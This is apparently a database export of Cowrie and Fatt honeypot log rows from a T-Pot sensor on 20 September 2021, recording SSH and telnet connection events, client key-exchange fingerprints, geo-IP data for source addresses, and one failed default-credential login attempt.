25652	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:33.831929+03	2021-09-20 14:15:10.430499+03	{"_id": "kQbmAnwBvYTbRNuEhhtq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "ed4a6510588f", "@version": "1", "timestamp": "2021-09-20T11:10:33.831929Z", "@timestamp": "2021-09-20T11:10:33.831Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
25653	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:10:36.737948+03	2021-09-20 14:15:10.432501+03	{"_id": "0AbmAnwBvYTbRNuEkRuQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35752, "timestamp": "2021-09-20T11:10:36.737948", "@timestamp": "2021-09-20T11:10:36.737Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25654	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:36.65305+03	2021-09-20 14:15:10.433504+03	{"_id": "0QbmAnwBvYTbRNuEkhso", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:51530 (192.168.176.2:22) [session: 3bbd899cac95]", "session": "3bbd899cac95", "@version": "1", "protocol": "ssh", "src_port": 51530, "dest_port": 22, "timestamp": "2021-09-20T11:10:36.653050Z", "@timestamp": "2021-09-20T11:10:36.653Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25655	109.104.151.106	109.199.241.180	Cowrie	2021-09-20 14:10:37.270545+03	2021-09-20 14:15:10.4345+03	{"_id": "0gbmAnwBvYTbRNuEkhso", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "109.104.151.106", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "109.104.151.106", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 109.104.151.106:34168 (192.168.176.2:23) [session: f569d9655797]", "session": "f569d9655797", "@version": "1", "protocol": "telnet", "src_port": 34168, "dest_port": 23, "timestamp": "2021-09-20T11:10:37.270545Z", "@timestamp": "2021-09-20T11:10:37.270Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	telnet	cowrie.session.connect	\N	known attacker	\N
25656	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:37.465284+03	2021-09-20 14:15:10.4355+03	{"_id": "0wbmAnwBvYTbRNuEkhso", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:34322 (192.168.176.2:22) [session: 257053ae9794]", "session": "257053ae9794", "@version": "1", "protocol": "ssh", "src_port": 34322, "dest_port": 22, "timestamp": "2021-09-20T11:10:37.465284Z", "@timestamp": "2021-09-20T11:10:37.465Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
25657	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:10:36.570672+03	2021-09-20 14:15:10.436501+03	{"_id": "3wbmAnwBvYTbRNuEkhso", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "321dd6faebd3", "@version": "1", "duration": 2.7497143745422363, "timestamp": "2021-09-20T11:10:36.570672Z", "@timestamp": "2021-09-20T11:10:36.570Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
25658	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:36.655946+03	2021-09-20 14:15:10.437501+03	{"_id": "4AbmAnwBvYTbRNuEkhso", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "3bbd899cac95", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:10:36.655946Z", "@timestamp": "2021-09-20T11:10:36.655Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25659	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:36.739468+03	2021-09-20 14:15:10.439501+03	{"_id": "4QbmAnwBvYTbRNuEkhso", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [administrator/password] failed", "session": "6de13dc2d907", "@version": "1", "password": "password", "username": "administrator", "timestamp": "2021-09-20T11:10:36.739468Z", "@timestamp": "2021-09-20T11:10:36.739Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
25660	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:36.811167+03	2021-09-20 14:15:10.440502+03	{"_id": "4gbmAnwBvYTbRNuEkhso", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "cfc54c5f0e4f", "@version": "1", "timestamp": "2021-09-20T11:10:36.811167Z", "@timestamp": "2021-09-20T11:10:36.811Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25661	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:10:37.02001+03	2021-09-20 14:15:10.4415+03	{"_id": "4wbmAnwBvYTbRNuEkhso", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "5165d4feb874", "@version": "1", "duration": 2.8850340843200684, "timestamp": "2021-09-20T11:10:37.020010Z", "@timestamp": "2021-09-20T11:10:37.020Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25662	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:37.123026+03	2021-09-20 14:15:10.443471+03	{"_id": "5AbmAnwBvYTbRNuEkhso", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "ed4a6510588f", "@version": "1", "duration": 4.399338006973267, "timestamp": "2021-09-20T11:10:37.123026Z", "@timestamp": "2021-09-20T11:10:37.123Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
25663	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:37.127987+03	2021-09-20 14:15:10.445471+03	{"_id": "5QbmAnwBvYTbRNuEkhso", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "69d30a142afc", "@version": "1", "duration": 2.4891066551208496, "timestamp": "2021-09-20T11:10:37.127987Z", "@timestamp": "2021-09-20T11:10:37.127Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25664	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:37.37424+03	2021-09-20 14:15:10.446501+03	{"_id": "5gbmAnwBvYTbRNuEkhso", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "3bbd899cac95", "@version": "1", "timestamp": "2021-09-20T11:10:37.374240Z", "@timestamp": "2021-09-20T11:10:37.374Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25665	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:37.468032+03	2021-09-20 14:15:10.447506+03	{"_id": "5wbmAnwBvYTbRNuEkhso", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "257053ae9794", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:10:37.468032Z", "@timestamp": "2021-09-20T11:10:37.468Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
